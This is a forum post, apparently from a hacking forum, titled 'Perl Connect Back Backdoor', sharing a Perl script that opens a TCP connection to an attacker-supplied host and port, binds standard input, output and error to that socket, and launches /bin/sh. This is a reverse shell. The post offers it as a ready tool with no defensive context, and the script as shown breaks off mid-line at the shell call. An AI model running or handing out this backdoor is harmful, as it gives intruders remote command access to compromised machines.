Jump to content
mario23

Perl Connect Back Backdoor

Recommended Posts

Posted

#!/usr/bin/perl

use Socket;

print "Data Cha0s Connect Back Backdoornn";

if (!$ARGV[0]) {

printf "Usage: $0 [Host] <Port>n";

exit(1);

}

print "[*] Dumping Argumentsn";

$host = $ARGV[0];

$port = 80;

if ($ARGV[1]) {

$port = $ARGV[1];

}

print "[*] Connecting...n";

$proto = getprotobyname('tcp') || die("Unknown Protocoln");

socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Errorn");

my $target = inet_aton($host);

if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {

die("Unable to Connectn");

}

print "[*] Spawning Shelln";

if (!fork( )) {

open(STDIN,">&SERVER");

open(STDOUT,">&SERVER");

open(STDERR,">&SERVER");

exec {'/bin/sh'} '-bash' . "

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...